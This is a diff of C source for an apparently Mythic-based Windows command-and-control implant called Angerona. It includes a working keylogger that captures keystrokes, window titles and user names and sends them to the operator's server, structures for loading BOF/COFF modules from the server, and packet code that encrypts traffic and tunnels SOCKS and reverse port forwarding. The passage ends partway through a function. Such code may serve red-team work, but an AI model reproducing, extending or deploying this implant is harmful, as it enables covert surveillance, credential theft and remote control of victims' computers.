/* Use wsprintfA for MinGW portability without requiring nonstandard _snprintf */
|
||||
wsprintfA(buffer, "%s\\%s", dominio, nombre);
|
||||
buffer[tamano - 1] = 0;
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
#pragma once
|
||||
#ifndef IDENTITY_H
|
||||
#define IDENTITY_H
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
extern HANDLE gTokenIdentidad;
|
||||
extern BOOL gIdentidadIsLoggin;
|
||||
extern WCHAR* gDominioIdentidad;
|
||||
// extern WCHAR* gIdentityUsername;
|
||||
// extern WCHAR* gIdentityPassword;
|
||||
|
||||
#define IDENTITY_MAX_WCHARS_DOMAIN 256
|
||||
#define IDENTITY_MAX_WCHARS_USERNAME 256
|
||||
#define IDENTITY_MAX_WCHARS_PASSWORD 512
|
||||
|
||||
//VOID IdentityImpersonateToken(void);
|
||||
//VOID IdentityAgentRevertToken(void);
|
||||
BOOL IdentityGetUserInfo(HANDLE hToken, char* buffer, int size);
|
||||
//BOOL IdentityIsAdmin(void);
|
||||
|
||||
#endif //IDENTITY_H
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,107 @@
|
||||
#pragma once
|
||||
|
||||
#ifndef INLINE_EXECUTE_H
|
||||
#define INLINE_EXECUTE_H
|
||||
|
||||
#include "analizador.h"
|
||||
#include <windows.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#if defined(__x86_64__) || defined(_WIN64)
|
||||
#define PREPENDSYMBOLVALUE "__imp_"
|
||||
#else
|
||||
#define PREPENDSYMBOLVALUE "__imp__"
|
||||
#endif
|
||||
|
||||
#define STR_EQUALS(str, substr) (strncmp(str, substr, strlen(substr)) == 0)
|
||||
|
||||
// COFF relocation types (from winnt.h)
|
||||
#define IMAGE_REL_AMD64_ADDR64 0x0001
|
||||
#define IMAGE_REL_AMD64_ADDR32NB 0x0003
|
||||
#define IMAGE_REL_AMD64_REL32 0x0004
|
||||
#define IMAGE_FILE_MACHINE_AMD64 0x8664
|
||||
|
||||
// COFF File Header
|
||||
typedef struct coff_file_header {
|
||||
UINT16 Machine;
|
||||
UINT16 NumberOfSections;
|
||||
UINT32 TimeDateStamp;
|
||||
UINT32 PointerToSymbolTable;
|
||||
UINT32 NumberOfSymbols;
|
||||
UINT16 SizeOfOptionalHeader;
|
||||
UINT16 Characteristics;
|
||||
} FileHeader_t;
|
||||
|
||||
#pragma pack(push,1)
|
||||
|
||||
// COFF Section Table
|
||||
typedef struct coff_sections_table {
|
||||
char Name[8];
|
||||
UINT32 VirtualSize;
|
||||
UINT32 VirtualAddress;
|
||||
UINT32 SizeOfRawData;
|
||||
UINT32 PointerToRawData;
|
||||
UINT32 PointerToRelocations;
|
||||
UINT32 PointerToLineNumbers;
|
||||
UINT16 NumberOfRelocations;
|
||||
UINT16 NumberOfLinenumbers;
|
||||
UINT32 Characteristics;
|
||||
} Section_t;
|
||||
|
||||
// COFF Relocations
|
||||
typedef struct coff_relocations {
|
||||
UINT32 VirtualAddress;
|
||||
UINT32 SymbolTableIndex;
|
||||
UINT16 Type;
|
||||
} Relocation_t;
|
||||
|
||||
// COFF Symbols Table
|
||||
typedef struct coff_symbols_table {
|
||||
union {
|
||||
char Name[8];
|
||||
UINT32 value[2];
|
||||
} first;
|
||||
UINT32 Value;
|
||||
UINT16 SectionNumber;
|
||||
UINT16 Type;
|
||||
UINT8 StorageClass;
|
||||
UINT8 NumberOfAuxSymbols;
|
||||
} Symbol_t;
|
||||
|
||||
#pragma pack(pop)
|
||||
|
||||
// COFF structure
|
||||
typedef struct COFF {
|
||||
char* FileBase;
|
||||
FileHeader_t* FileHeader;
|
||||
Relocation_t* Relocation;
|
||||
Symbol_t* SymbolTable;
|
||||
void* RawTextData;
|
||||
char* RelocationsTextPTR;
|
||||
int RelocationsCount;
|
||||
int FunctionMappingCount;
|
||||
} COFF_t;
|
||||
|
||||
// BOF Upload structure
|
||||
typedef struct _BOF_UPLOAD {
|
||||
CHAR fileUuid[37]; // File UUID (36 + 1 for null terminator)
|
||||
UINT32 totalChunks; // Total number of chunks
|
||||
UINT32 currentChunk; // Current chunk number
|
||||
SIZE_T size; // Size of the file
|
||||
PVOID buffer; // Pointer to BOF buffer data
|
||||
} BOF_UPLOAD, *PBOF_UPLOAD;
|
||||
|
||||
// Function declarations
|
||||
VOID InlineExecuteHandler(PAnalizador argumentos);
|
||||
BOOL RunCOFF(char* FileData, DWORD* DataSize, char* EntryName, char* argumentdata, unsigned long argumentsize);
|
||||
DWORD GetFileBytesFromMythic(PCHAR taskUuid, PCHAR fileId, PBOF_UPLOAD bof);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // INLINE_EXECUTE_H
|
||||
|
||||
@@ -0,0 +1,161 @@
|
||||
#include "keylog.h"
|
||||
#include "paquete.h"
|
||||
#include "angerona.h"
|
||||
|
||||
static volatile BOOL g_keylog_running = FALSE;
|
||||
static HANDLE g_keylog_thread = NULL;
|
||||
static CHAR g_keylog_task_uuid[37] = {0};
|
||||
|
||||
static DWORD WINAPI keylog_thread_proc(LPVOID lpParam) {
|
||||
(void)lpParam;
|
||||
// Simple polling-based key grab (GetAsyncKeyState); not stealthy but minimal
|
||||
CHAR buffer[2048];
|
||||
SIZE_T buf_len = 0;
|
||||
ULONGLONG last_send = GetTickCount64();
|
||||
|
||||
while (g_keylog_running) {
|
||||
for (int vk = 0x08; vk <= 0xFE; ++vk) {
|
||||
SHORT state = GetAsyncKeyState(vk);
|
||||
if (state & 0x0001) { // pressed since last call
|
||||
char c = 0;
|
||||
if (vk == VK_BACK) c = '\b';
|
||||
else if (vk == VK_TAB) c = '\t';
|
||||
else if (vk == VK_RETURN) c = '\n';
|
||||
else if (vk >= 0x20 && vk <= 0x7E) c = (char)vk; // printable ASCII
|
||||
|
||||
if (c) {
|
||||
if (buf_len < sizeof(buffer) - 1) {
|
||||
buffer[buf_len++] = c;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ULONGLONG now = GetTickCount64();
|
||||
BOOL should_send = (buf_len >= 128) || ((now - last_send) > 3000 && buf_len > 0);
|
||||
if (should_send) {
|
||||
buffer[buf_len] = '\0';
|
||||
|
||||
// Fetch window title
|
||||
CHAR title[256] = {0};
|
||||
HWND hwnd = GetForegroundWindow();
|
||||
if (hwnd) {
|
||||
GetWindowTextA(hwnd, title, sizeof(title) - 1);
|
||||
}
|
||||
|
||||
// Fetch user (best-effort)
|
||||
CHAR user[128] = {0};
|
||||
DWORD usize = (DWORD)sizeof(user);
|
||||
GetUserNameA(user, &usize);
|
||||
|
||||
// Build POST_RESPONSE
|
||||
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuesta, g_keylog_task_uuid, FALSE);
|
||||
// empty user_output
|
||||
addInt32(respuesta, 0);
|
||||
|
||||
// Add keylog marker
|
||||
addKeylog(respuesta, user[0] ? user : "", title[0] ? title : "", buffer);
|
||||
|
||||
Analizador* resp = mandarPaquete(respuesta);
|
||||
liberarPaquete(respuesta);
|
||||
if (resp) liberarAnalizador(resp);
|
||||
|
||||
buf_len = 0;
|
||||
last_send = now;
|
||||
}
|
||||
|
||||
Sleep(20);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL StartKeylogger(PAnalizador argumentos) {
|
||||
_inf("[keylog] ===== StartKeylogger called =====");
|
||||
// Match input_type=None format: [nbArg:4][UUID(36)]
|
||||
UINT32 nbArg = getInt32(argumentos);
|
||||
SIZE_T tamanoUuid = 36;
|
||||
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||
_inf("[keylog] nbArg=%u, tamanoUuid=%zu", nbArg, tamanoUuid);
|
||||
if (!tareaUuid || tamanoUuid != 36) {
|
||||
_err("[keylog] UUID inválido (len=%zu)", tamanoUuid);
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Ensure UUID is null-terminated
|
||||
CHAR uuidBuffer[37] = {0};
|
||||
memcpy(uuidBuffer, tareaUuid, 36);
|
||||
uuidBuffer[36] = '\0';
|
||||
tareaUuid = uuidBuffer;
|
||||
|
||||
_inf("[keylog] Task UUID: %s", tareaUuid);
|
||||
memset(g_keylog_task_uuid, 0, sizeof(g_keylog_task_uuid));
|
||||
memcpy(g_keylog_task_uuid, tareaUuid, 36);
|
||||
|
||||
if (g_keylog_running) {
|
||||
return TRUE;
|
||||
}
|
||||
g_keylog_running = TRUE;
|
||||
g_keylog_thread = CreateThread(NULL, 0, keylog_thread_proc, NULL, 0, NULL);
|
||||
|
||||
// Ack
|
||||
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuesta, g_keylog_task_uuid, FALSE);
|
||||
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||
PackageAddFormatPrintf(salida, FALSE, "[keylog] Started\n");
|
||||
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||
|
||||
// Report API Call artifact for keylogger
|
||||
addArtifact(respuesta, "API Call", "Keyboard Hook: GetAsyncKeyState, GetForegroundWindow, GetWindowTextA, GetUserNameA");
|
||||
|
||||
Analizador* resp = mandarPaquete(respuesta);
|
||||
liberarPaquete(salida);
|
||||
liberarPaquete(respuesta);
|
||||
if (resp) liberarAnalizador(resp);
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
BOOL StopKeylogger(PAnalizador argumentos) {
|
||||
_inf("[keylog] ===== StopKeylogger called =====");
|
||||
// Match input_type=None format: [nbArg:4][UUID(36)]
|
||||
UINT32 nbArg = getInt32(argumentos);
|
||||
SIZE_T tamanoUuid = 36;
|
||||
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
|
||||
_inf("[keylog] nbArg=%u, tamanoUuid=%zu", nbArg, tamanoUuid);
|
||||
|
||||
if (tareaUuid && tamanoUuid == 36) {
|
||||
// Ensure UUID is null-terminated
|
||||
CHAR uuidBuffer[37] = {0};
|
||||
memcpy(uuidBuffer, tareaUuid, 36);
|
||||
uuidBuffer[36] = '\0';
|
||||
tareaUuid = uuidBuffer;
|
||||
|
||||
_inf("[keylog] Task UUID: %s", tareaUuid);
|
||||
memset(g_keylog_task_uuid, 0, sizeof(g_keylog_task_uuid));
|
||||
memcpy(g_keylog_task_uuid, tareaUuid, 36);
|
||||
} else {
|
||||
_wrn("[keylog] UUID inválido o vacío, usando UUID guardado");
|
||||
}
|
||||
|
||||
if (g_keylog_running) {
|
||||
g_keylog_running = FALSE;
|
||||
if (g_keylog_thread) {
|
||||
WaitForSingleObject(g_keylog_thread, 2000);
|
||||
CloseHandle(g_keylog_thread);
|
||||
g_keylog_thread = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
// Ack
|
||||
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
|
||||
addString(respuesta, g_keylog_task_uuid[0] ? g_keylog_task_uuid : "", FALSE);
|
||||
PPaquete salida = nuevoPaquete(0, FALSE);
|
||||
PackageAddFormatPrintf(salida, FALSE, "[keylog] Stopped\n");
|
||||
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
|
||||
Analizador* resp = mandarPaquete(respuesta);
|
||||
liberarPaquete(salida);
|
||||
liberarPaquete(respuesta);
|
||||
if (resp) liberarAnalizador(resp);
|
||||
return TRUE;
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
#pragma once
|
||||
#ifndef KEYLOG_H
|
||||
#define KEYLOG_H
|
||||
|
||||
#include <windows.h>
|
||||
#include "analizador.h"
|
||||
|
||||
BOOL StartKeylogger(PAnalizador argumentos);
|
||||
BOOL StopKeylogger(PAnalizador argumentos);
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,14 @@
|
||||
#include "angerona.h"
|
||||
|
||||
int main() {
|
||||
_inf("=== ANGERONA AGENT STARTING ===");
|
||||
#ifdef AESPSK
|
||||
_inf("AESPSK: %s", AESPSK);
|
||||
#endif
|
||||
Sleep(2000); // Pausa 2 segundos para ver si inicia
|
||||
angeronaMain();
|
||||
_inf("=== ANGERONA AGENT EXITING ===");
|
||||
_inf("Press any key to exit...");
|
||||
getchar();
|
||||
return 0;
|
||||
}
|
||||
@@ -0,0 +1,943 @@
|
||||
#include "crypto.h" // Include crypto.h BEFORE angerona.h to avoid redeclaration
|
||||
#include "angerona.h"
|
||||
#include "paquete.h"
|
||||
#include "socks_manager.h"
|
||||
#include "rpfwd_manager.h"
|
||||
|
||||
// Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete.
|
||||
PPaquete nuevoPaquete(BYTE idComando, BOOL init) {
|
||||
_dbg("nuevoPaquete(idComando=0x%02X, init=%d)", idComando, init);
|
||||
PPaquete paquete = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete));
|
||||
if (!paquete) {
|
||||
_err("Error: fallo al asignar memoria para Paquete\n");
|
||||
return NULL;
|
||||
}
|
||||
paquete->buffer = LocalAlloc(LPTR, sizeof(BYTE));
|
||||
if (!paquete->buffer) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
paquete->length = 0;
|
||||
if (init) {
|
||||
addString(paquete, angeronaConfig->idAgente, FALSE);
|
||||
addByte(paquete, idComando);
|
||||
}
|
||||
|
||||
return paquete;
|
||||
}
|
||||
|
||||
VOID liberarPaquete(PPaquete paquete) {
|
||||
_dbg("liberarPaquete()");
|
||||
LocalFree(paquete->buffer);
|
||||
LocalFree(paquete);
|
||||
}
|
||||
|
||||
/* Callback C para volcar mensajes SOCKS al paquete */
|
||||
static void flush_socks_cb(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len, void *ctx) {
|
||||
PPaquete pkt = (PPaquete)ctx;
|
||||
_dbg("flush_socks_cb: sid=%u exit=%d len=%zu", server_id, exit_flag, data_len);
|
||||
addInt32(pkt, server_id);
|
||||
addByte(pkt, (BYTE)(exit_flag ? 1 : 0));
|
||||
if (data_len && data) {
|
||||
char *b64 = b64Codificado(data, (SIZE_T)data_len);
|
||||
SIZE_T b64len = b64 ? strlen(b64) : 0;
|
||||
addInt32(pkt, (UINT32)b64len);
|
||||
if (b64len) addBytes(pkt, (PBYTE)b64, b64len, FALSE);
|
||||
if (b64) LocalFree(b64);
|
||||
} else {
|
||||
addInt32(pkt, 0);
|
||||
}
|
||||
_dbg("flush_socks_cb completed");
|
||||
}
|
||||
|
||||
/* Callback C para volcar mensajes RPFWD al paquete */
|
||||
static void flush_rpfwd_cb(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len, uint32_t port, void *ctx) {
|
||||
PPaquete pkt = (PPaquete)ctx;
|
||||
_dbg("flush_rpfwd_cb: sid=%u exit=%d len=%zu port=%u", server_id, exit_flag, data_len, port);
|
||||
addInt32(pkt, server_id);
|
||||
addByte(pkt, (BYTE)(exit_flag ? 1 : 0));
|
||||
if (data_len && data) {
|
||||
char *b64 = b64Codificado(data, (SIZE_T)data_len);
|
||||
SIZE_T b64len = b64 ? strlen(b64) : 0;
|
||||
addInt32(pkt, (UINT32)b64len);
|
||||
if (b64len) addBytes(pkt, (PBYTE)b64, b64len, FALSE);
|
||||
if (b64) LocalFree(b64);
|
||||
} else {
|
||||
addInt32(pkt, 0);
|
||||
}
|
||||
// Add port (optional, but needed if multiple RPFWD ports are supported)
|
||||
addInt32(pkt, port);
|
||||
_dbg("flush_rpfwd_cb completed");
|
||||
}
|
||||
|
||||
/* === Nueva función: inserta tráfico SOCKS pendiente === */
|
||||
static VOID flushSocksTraffic(PPaquete paquete) {
|
||||
_dbg("flushSocksTraffic()");
|
||||
/* Emit marker and number of SOCKS messages if there are any; we buffer to temp first */
|
||||
PPaquete temp = nuevoPaquete(0, FALSE);
|
||||
if (!temp) {
|
||||
_err("nuevoPaquete temp failed");
|
||||
return;
|
||||
}
|
||||
_dbg("temp paquete created");
|
||||
|
||||
socks_manager_flush_outgoing(flush_socks_cb, (void*)temp);
|
||||
_dbg("socks_manager_flush_outgoing done, temp->length=%zu", temp->length);
|
||||
|
||||
if (temp->length > 0) {
|
||||
_dbg("Adding SOCKS block marker");
|
||||
/* Frame: 0xF5 | [Int32 total_len] | [temp bytes] */
|
||||
addByte(paquete, (BYTE)SOCKS_BLOCK_MARKER);
|
||||
addInt32(paquete, (UINT32)temp->length);
|
||||
addBytes(paquete, (PBYTE)temp->buffer, temp->length, FALSE);
|
||||
}
|
||||
liberarPaquete(temp);
|
||||
_dbg("flushSocksTraffic() completed");
|
||||
}
|
||||
|
||||
/* === Nueva función: inserta tráfico RPFWD pendiente === */
|
||||
static VOID flushRpfwdTraffic(PPaquete paquete) {
|
||||
_dbg("flushRpfwdTraffic()");
|
||||
/* Emit marker and number of RPFWD messages if there are any; we buffer to temp first */
|
||||
PPaquete temp = nuevoPaquete(0, FALSE);
|
||||
if (!temp) {
|
||||
_err("nuevoPaquete temp failed");
|
||||
return;
|
||||
}
|
||||
_dbg("temp paquete created");
|
||||
|
||||
rpfwd_manager_flush_outgoing(flush_rpfwd_cb, (void*)temp);
|
||||
_dbg("rpfwd_manager_flush_outgoing done, temp->length=%zu", temp->length);
|
||||
|
||||
if (temp->length > 0) {
|
||||
_dbg("Adding RPFWD block marker");
|
||||
/* Frame: 0xF2 | [Int32 total_len] | [temp bytes] */
|
||||
addByte(paquete, (BYTE)RPFWD_BLOCK_MARKER);
|
||||
addInt32(paquete, (UINT32)temp->length);
|
||||
addBytes(paquete, (PBYTE)temp->buffer, temp->length, FALSE);
|
||||
}
|
||||
liberarPaquete(temp);
|
||||
_dbg("flushRpfwdTraffic() completed");
|
||||
}
|
||||
|
||||
/* === Enviar paquete con soporte SOCKS === */
|
||||
PAnalizador mandarPaquete(PPaquete paquete) {
|
||||
_inf("=== mandarPaquete INICIO === len=%zu", paquete->length);
|
||||
if (!paquete) {
|
||||
_err("mandarPaquete: paquete es NULL");
|
||||
return NULL;
|
||||
}
|
||||
if (!paquete->buffer) {
|
||||
_err("mandarPaquete: paquete->buffer es NULL");
|
||||
return NULL;
|
||||
}
|
||||
_dbg("mandarPaquete() len=%zu", paquete->length);
|
||||
|
||||
// Solo añadir tráfico SOCKS si el proxy está activo
|
||||
if (socks_proxy_active) {
|
||||
_dbg("SOCKS activo, flushSocksTraffic()");
|
||||
flushSocksTraffic(paquete);
|
||||
} else {
|
||||
_dbg("SOCKS inactivo, saltando flushSocksTraffic()");
|
||||
}
|
||||
|
||||
// Solo añadir tráfico RPFWD si está activo
|
||||
if (rpfwd_active) {
|
||||
_dbg("RPFWD activo, flushRpfwdTraffic()");
|
||||
flushRpfwdTraffic(paquete);
|
||||
} else {
|
||||
_dbg("RPFWD inactivo, saltando flushRpfwdTraffic()");
|
||||
}
|
||||
|
||||
// === Handle encryption according to Mythic format ===
|
||||
// Format with encryption: Base64(PayloadUUID + AES256(rest_of_data))
|
||||
// Format without encryption: Base64(full_packet)
|
||||
PBYTE datosAEnviar = NULL;
|
||||
SIZE_T tamanoAEnviar = 0;
|
||||
|
||||
if (crypto_is_encryption_enabled()) {
|
||||
_inf("Cifrado habilitado, formato: Base64(UUID + AES256(data))");
|
||||
|
||||
// Extract UUID - UUID is always 36 characters (UUIDv4 format)
|
||||
// Format: [UUID(36)][command_byte][rest...]
|
||||
// When addString is called with tamanoCopia=FALSE, no length prefix is added
|
||||
const SIZE_T UUID_LENGTH = 36;
|
||||
|
||||
if (paquete->length < UUID_LENGTH + 1) {
|
||||
_err("Paquete demasiado corto para extraer UUID (length=%zu, need at least %zu)",
|
||||
paquete->length, UUID_LENGTH + 1);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
// Extract UUID string (first 36 bytes)
|
||||
PCHAR uuidStr = (PCHAR)paquete->buffer;
|
||||
SIZE_T dataOffset = UUID_LENGTH; // After UUID, before/at command byte
|
||||
SIZE_T dataLength = paquete->length - UUID_LENGTH;
|
||||
|
||||
// Log UUID extraction with detailed info
|
||||
char uuidBuf[37] = {0};
|
||||
memcpy(uuidBuf, uuidStr, UUID_LENGTH);
|
||||
_dbg("=== EXTRACTING UUID ===");
|
||||
_dbg("Tamaño total del paquete: %zu bytes", paquete->length);
|
||||
_dbg("UUID extraído: %s (length: %zu)", uuidBuf, UUID_LENGTH);
|
||||
_dbg("Data offset (after UUID): %zu", dataOffset);
|
||||
_dbg("Datos a cifrar: %zu bytes", dataLength);
|
||||
|
||||
// Create a temporary package with only the data part (without UUID)
|
||||
PPaquete dataPackage = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete));
|
||||
if (!dataPackage) {
|
||||
_err("Failed to allocate data package");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
dataPackage->buffer = LocalAlloc(LPTR, dataLength);
|
||||
if (!dataPackage->buffer) {
|
||||
LocalFree(dataPackage);
|
||||
_err("Failed to allocate data buffer");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
memcpy(dataPackage->buffer, (PBYTE)paquete->buffer + dataOffset, dataLength);
|
||||
dataPackage->length = dataLength;
|
||||
|
||||
// Encrypt only the data part (without UUID)
|
||||
_inf("=== STARTING ENCRYPTION ===");
|
||||
_dbg("Calling CryptoMythicEncryptPackage() with %zu bytes...", dataPackage->length);
|
||||
|
||||
if (!CryptoMythicEncryptPackage(dataPackage)) {
|
||||
_err("Falló el cifrado");
|
||||
LocalFree(dataPackage->buffer);
|
||||
LocalFree(dataPackage);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
_inf("=== ENCRYPTION COMPLETE ===");
|
||||
|
||||
// Concatenate UUID + encrypted data
|
||||
SIZE_T finalSize = UUID_LENGTH + dataPackage->length;
|
||||
PBYTE finalBuffer = (PBYTE)LocalAlloc(LPTR, finalSize);
|
||||
if (!finalBuffer) {
|
||||
LocalFree(dataPackage->buffer);
|
||||
LocalFree(dataPackage);
|
||||
_err("Failed to allocate final buffer");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
memcpy(finalBuffer, uuidStr, UUID_LENGTH);
|
||||
memcpy(finalBuffer + UUID_LENGTH, dataPackage->buffer, dataPackage->length);
|
||||
|
||||
datosAEnviar = finalBuffer;
|
||||
tamanoAEnviar = finalSize;
|
||||
|
||||
// Cleanup temporary package
|
||||
LocalFree(dataPackage->buffer);
|
||||
LocalFree(dataPackage);
|
||||
} else {
|
||||
_inf("Cifrado deshabilitado, enviando plaintext completo");
|
||||
datosAEnviar = (PBYTE)paquete->buffer;
|
||||
tamanoAEnviar = paquete->length;
|
||||
}
|
||||
|
||||
// Codificar en base64
|
||||
PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)datosAEnviar, tamanoAEnviar);
|
||||
SIZE_T tamanoDelPaquete = b64tamanoCodificado(tamanoAEnviar);
|
||||
|
||||
if (!paqueteParaMandar) {
|
||||
_err("b64Codificado returned NULL");
|
||||
if (crypto_is_encryption_enabled() && datosAEnviar != paquete->buffer) {
|
||||
LocalFree(datosAEnviar);
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
_inf("=== READY TO SEND ===");
|
||||
_dbg("Enviando paquete base64 de %zu bytes", tamanoDelPaquete);
|
||||
PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete);
|
||||
LocalFree(paqueteParaMandar);
|
||||
|
||||
// Free the encrypted buffer if we allocated it
|
||||
if (crypto_is_encryption_enabled() && datosAEnviar != paquete->buffer) {
|
||||
LocalFree(datosAEnviar);
|
||||
}
|
||||
|
||||
if (!respuesta) {
|
||||
_err("mandarPaquete: respuesta NULL después de mandarYRecibir");
|
||||
return NULL;
|
||||
}
|
||||
|
||||
_inf("mandarPaquete: respuesta recibida exitosamente (tamano=%zu)", respuesta->tamano);
|
||||
_dbg("respuesta OK");
|
||||
|
||||
// === Decodificar base64 de la respuesta ===
|
||||
// When mythic_encrypts=True and crypto_type=aes256_hmac, the translator encrypts
|
||||
// the response, but the agent still receives it base64-encoded from HTTP.
|
||||
// The agent will handle decryption AFTER base64 decode if needed.
|
||||
if (respuesta && respuesta->original && respuesta->tamano > 0) {
|
||||
_dbg("Decodificando base64 de %zu bytes...", respuesta->tamano);
|
||||
|
||||
PBYTE datosDecodificados = NULL;
|
||||
SIZE_T tamanoDecodificado = 0;
|
||||
|
||||
// Convertir a string null-terminated para decodificar
|
||||
PCHAR base64str = LocalAlloc(LPTR, respuesta->tamano + 1);
|
||||
if (base64str) {
|
||||
memcpy(base64str, respuesta->original, respuesta->tamano);
|
||||
base64str[respuesta->tamano] = '\0';
|
||||
|
||||
// Decodificar
|
||||
if (base64_decode(base64str, &datosDecodificados, &tamanoDecodificado)) {
|
||||
_dbg("Base64 decodificado: %zu bytes", tamanoDecodificado);
|
||||
|
||||
// === Decrypt if encryption is enabled ===
|
||||
if (crypto_is_encryption_enabled()) {
|
||||
_inf("=== DECRYPTING RESPONSE ===");
|
||||
_dbg("Base64 decoded size: %zu bytes", tamanoDecodificado);
|
||||
|
||||
// Log raw data before decryption
|
||||
_dbg("Raw response before decryption (hex, first 80 bytes): ");
|
||||
for (size_t i = 0; i < (tamanoDecodificado > 80 ? 80 : tamanoDecodificado); i++) {
|
||||
_dbg(" %02x ", datosDecodificados[i]);
|
||||
if ((i + 1) % 32 == 0) _dbg("\n");
|
||||
}
|
||||
|
||||
// Check if response starts with UUID (which would mean it's in format UUID + encrypted_data)
|
||||
if (tamanoDecodificado >= 36) {
|
||||
char uuidCheck[37] = {0};
|
||||
memcpy(uuidCheck, datosDecodificados, 36);
|
||||
_dbg("First 36 bytes (UUID check): %s", uuidCheck);
|
||||
_dbg("Expected UUID: %s", angeronaConfig->idAgente);
|
||||
|
||||
// If response starts with UUID, we need to extract it
|
||||
if (strncmp(uuidCheck, angeronaConfig->idAgente, 36) == 0) {
|
||||
_dbg("Response format: UUID + encrypted_data detected");
|
||||
_dbg("Extracting encrypted data (after UUID)...");
|
||||
|
||||
// Extract encrypted data (without UUID)
|
||||
SIZE_T encrypted_size = tamanoDecodificado - 36;
|
||||
PBYTE encrypted_data = (PBYTE)LocalAlloc(LPTR, encrypted_size);
|
||||
if (encrypted_data) {
|
||||
memcpy(encrypted_data, datosDecodificados + 36, encrypted_size);
|
||||
_dbg("Encrypted data size (without UUID): %zu bytes", encrypted_size);
|
||||
|
||||
// Create parser with just the encrypted data
|
||||
PAnalizador tempParser = LocalAlloc(LPTR, sizeof(Analizador));
|
||||
if (tempParser) {
|
||||
tempParser->buffer = encrypted_data;
|
||||
tempParser->tamano = encrypted_size;
|
||||
|
||||
if (CryptoMythicDecryptParser(tempParser)) {
|
||||
_inf("=== DECRYPTION SUCCESS ===");
|
||||
_dbg("Decrypted size: %zu bytes", tempParser->tamano);
|
||||
|
||||
// Create final buffer with UUID + decrypted data
|
||||
SIZE_T final_size = 36 + tempParser->tamano;
|
||||
PBYTE final_buffer = (PBYTE)LocalAlloc(LPTR, final_size);
|
||||
if (final_buffer) {
|
||||
memcpy(final_buffer, datosDecodificados, 36); // UUID
|
||||
memcpy(final_buffer + 36, tempParser->buffer, tempParser->tamano); // Decrypted data
|
||||
LocalFree(datosDecodificados);
|
||||
datosDecodificados = final_buffer;
|
||||
tamanoDecodificado = final_size;
|
||||
_dbg("Final response (UUID + decrypted): %zu bytes", final_size);
|
||||
}
|
||||
} else {
|
||||
_err("Falló el descifrado");
|
||||
}
|
||||
LocalFree(tempParser);
|
||||
} else {
|
||||
LocalFree(encrypted_data);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
// Response doesn't start with UUID, try decrypting directly
|
||||
_dbg("Response doesn't start with UUID, trying direct decryption...");
|
||||
PAnalizador tempParser = LocalAlloc(LPTR, sizeof(Analizador));
|
||||
if (tempParser) {
|
||||
tempParser->buffer = datosDecodificados;
|
||||
tempParser->tamano = tamanoDecodificado;
|
||||
|
||||
if (CryptoMythicDecryptParser(tempParser)) {
|
||||
_inf("=== DECRYPTION SUCCESS (no UUID in response) ===");
|
||||
_dbg("Decrypted size: %zu bytes", tempParser->tamano);
|
||||
datosDecodificados = tempParser->buffer;
|
||||
tamanoDecodificado = tempParser->tamano;
|
||||
} else {
|
||||
_err("Falló el descifrado");
|
||||
}
|
||||
LocalFree(tempParser);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
_wrn("Response too short (%zu bytes), cannot check UUID", tamanoDecodificado);
|
||||
// Try decrypting anyway
|
||||
PAnalizador tempParser = LocalAlloc(LPTR, sizeof(Analizador));
|
||||
if (tempParser) {
|
||||
tempParser->buffer = datosDecodificados;
|
||||
tempParser->tamano = tamanoDecodificado;
|
||||
|
||||
if (CryptoMythicDecryptParser(tempParser)) {
|
||||
_dbg("Decryption succeeded for short response");
|
||||
datosDecodificados = tempParser->buffer;
|
||||
tamanoDecodificado = tempParser->tamano;
|
||||
} else {
|
||||
_err("Falló el descifrado");
|
||||
}
|
||||
LocalFree(tempParser);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Reemplazar el buffer del analizador
|
||||
LocalFree(respuesta->original);
|
||||
respuesta->original = datosDecodificados;
|
||||
respuesta->buffer = datosDecodificados;
|
||||
respuesta->tamano = tamanoDecodificado;
|
||||
|
||||
// AHORA parsear bloque SOCKS en los datos DECODIFICADOS
|
||||
if (respuesta->tamano >= 5) {
|
||||
PBYTE buf = respuesta->original;
|
||||
SIZE_T len = respuesta->tamano;
|
||||
SIZE_T cursor = len - 5;
|
||||
BOOL found = FALSE;
|
||||
|
||||
_dbg("Buscando bloque SOCKS (marker 0xF5) en %zu bytes decodificados", len);
|
||||
|
||||
// Buscar marcador desde el final
|
||||
while (cursor > 0 && cursor < len - 4) {
|
||||
if (buf[cursor] == (BYTE)SOCKS_BLOCK_MARKER) {
|
||||
